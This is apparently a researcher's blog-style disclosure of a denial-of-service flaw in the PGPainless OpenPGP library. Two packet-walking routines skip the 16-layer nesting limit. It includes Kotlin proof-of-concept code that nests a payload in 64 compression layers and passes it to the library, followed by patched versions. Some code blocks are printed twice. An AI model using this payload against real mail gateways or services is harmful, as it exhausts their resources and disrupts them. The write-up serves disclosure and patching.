How I Discovered an Architectural Security Boundary Bypass in PGP Leading to DoS (CVE-2026–76088)

I'm back with another security deep-dive.

Today, we are looking at something a bit different from web app bugs or injection flaws — we're heading into the realm of cryptographic library architecture and resource exhaustion. Specifically, how a missing counter check in PGPainless allowed unauthenticated attackers to bypass strict safety limits and trigger unbounded recursive decompression, leading to application-wide Denial of Service (DoS).

Grab your coffee, and let's dive in ☕️

Understanding the Target: What is PGPainless?

For those unfamiliar, PGPainless is a modern, high-level OpenPGP library written in Java and Kotlin. It serves as a wrapper around the lower-level Bouncy Castle crypto APIs, making it easier for developers to implement encryption, decryption, signing, and verification in applications, mail clients (like FlowCrypt), and enterprise gateways.

Because these applications frequently process untrusted data streams coming straight from the wild web or public email servers, robustness against malformed or malicious inputs is critical.

The Concept: Defending Against "ZIP Bombs"

When dealing with compressed data formats (such as ZLIB, ZIP, or PGP compressed packets), applications face a classic threat: Decompression Bombs (or ZIP bombs).

An attacker can supply a tiny file on disk that, when uncompressed, expands into gigabytes of data, instantly exhausting server memory or disk space. To protect against this, robust parsers enforce strict defensive thresholds:

Layer Depth Limits: Restricting how deep nested compression wrappers or packet structures can go.
Size Quotas: Halting processing once uncompressed byte counts cross safe boundaries.

In PGPainless, the core processing pipeline defines a explicit safety constant:

Kotlin

// Found in pgpainless-core/src/main/kotlin/org/pgpainless/decryption_verification/MessageMetadata.kt
const val MAX_LAYER_DEPTH = 16

// Found in pgpainless-core/src/main/kotlin/org/pgpainless/decryption_verification/MessageMetadata.kt
const val MAX_LAYER_DEPTH = 16

Under normal circumstances, if a message exceeds 16 layers of nesting, the parser throws an exception (SOPGPException.BadData) and safely aborts execution. Or so we thought.

The Discovery: When Packet Walking Bypasses the Guard

While reviewing how different modules inside PGPainless handle streaming packets, I noticed a architectural discrepancy. While the primary ingestion pipeline rigorously tracks layer depth via its global metadata context, two specific packet-walking routines unpack and step through PGPCompressedData packets manually.

They completely fail to track or increment a layer depth index counter against compliance limits:

InlineDetachImpl.kt (Lines ~78–93): The logic loops over data packets via compressedData.dataStream. Because it processes incoming data block-by-block without leveraging or passing constraints down to the guarded OpenPgpMessageInputStream tracking mechanism, it accepts infinite nesting.
MessageInspector.kt (Line ~95): The inspector utility descends recursively down nested compressed packet layouts to ascertain inner content classification markers (e.g., determining encryption states) without referencing or respecting maximum layer depth boundaries.

Because these routines operate outside the central depth-tracking context, an attacker can wrap malicious payloads in arbitrary layers of compression without triggering any security trips.

Building My Proof of Concept

To prove this wasn't just a theoretical design quirk, I set out to write a functional exploit script to verify the bypass.

Step 1: Crafting the Nested Payload

I constructed a standard OpenPGP message, signed a dummy plaintext payload using binary inline-signing configurations (.noArmor()), and wrapped it inside an aggressive loop.Kotlin

// Step 1: Generate a signed payload
var payload: ByteArray = createSignedMessage(plaintext, privateKey)
// Step 2: Programmatically nest the payload 64 times inside compression packets
for (i in 1..64) {
    val out = ByteArrayOutputStream()
    val comData = PGPCompressedDataGenerator(CompressionAlgorithmTags.ZIP)
    val zipOut = comData.open(out)
    zipOut.write(payload)
    zipOut.close()
    payload = out.toByteArray()
}

// Step 1: Generate a signed payload
var payload: ByteArray = createSignedMessage(plaintext, privateKey)
// Step 2: Programmatically nest the payload 64 times inside compression packets
for (i in 1..64) {
    val out = ByteArrayOutputStream()
    val comData = PGPCompressedDataGenerator(CompressionAlgorithmTags.ZIP)
    val zipOut = comData.open(out)
    zipOut.write(payload)
    zipOut.close()
    payload = out.toByteArray()
}

Step 3: Triggering the Bypass

Next, I passed this 64-layer nested byte array straight into the library's SOP interface:

Kotlin

val result = sop.inlineDetach()
    .message(payload)
    .toByteArrayAndResult()

val result = sop.inlineDetach()
    .message(payload)
    .toByteArrayAndResult()

The Result

Instead of throwing SOPGPException.BadData at layer 16, the library eagerly stepped through all 64 layers, successfully parsing the deeply nested structure while burning CPU cycles and thread resources along the way. The safety boundary was entirely circumvented.

Real-World Impact

You might wonder: What's the big deal with deep compression if it's just processing data?

When mail gateways, backend microservices, or client applications handle external user files or signed attachment streams automatically, an unauthenticated attacker can exploit this vulnerability with minimal network overhead.

Thread Starvation: Deeply recursive unpacking locks worker threads.
Out-of-Memory (OOM) Crashes: Memory allocations spike as streams are recursively unspooled.
Denial of Service (DoS): Backend infrastructure services crash or become completely unresponsive.

The vulnerability was classified under CWE-400 (Uncontrolled Resource Consumption) and CWE-409 (Improper Handling of Highly Compressed Data / Decompression Bomb), earning a CVSS v3.1 score of 7.5 (High) and assigned CVE-2026–76088.

Remediation & Patching

The maintainers responded quickly to the advisory. The fix involved unifying the packet-walking implementations so that both InlineDetachImpl and MessageInspector properly propagate, increment, and enforce the MAX_LAYER_DEPTH = 16 threshold across all code paths.

If your project depends on org.pgpainless:pgpainless-core, make sure you upgrade immediately:

Branch 1.x: Upgrade to 1.7.8 or higher.
Branch 2.x: Upgrade to 2.0.4 or higher.

XML

<!-- Secure Maven Dependency Example -->
<dependency>
    <groupId>org.pgpainless</groupId>
    <artifactId>pgpainless-core</artifactId>
    <version>2.0.4</version>
</dependency>

<!-- Secure Maven Dependency Example -->
<dependency>
    <groupId>org.pgpainless</groupId>
    <artifactId>pgpainless-core</artifactId>
    <version>2.0.4</version>
</dependency>

Final Thoughts

Dependency and library security isn't just about spotting known CVEs in third-party components; it's about checking how different internal architectural components handle trust boundaries. When core defenses (like depth limits) are bypassed by auxiliary utility modules, unexpected vectors open up.

Thanks for reading, and happy hacking! Stay safe out there 🛡️

Contents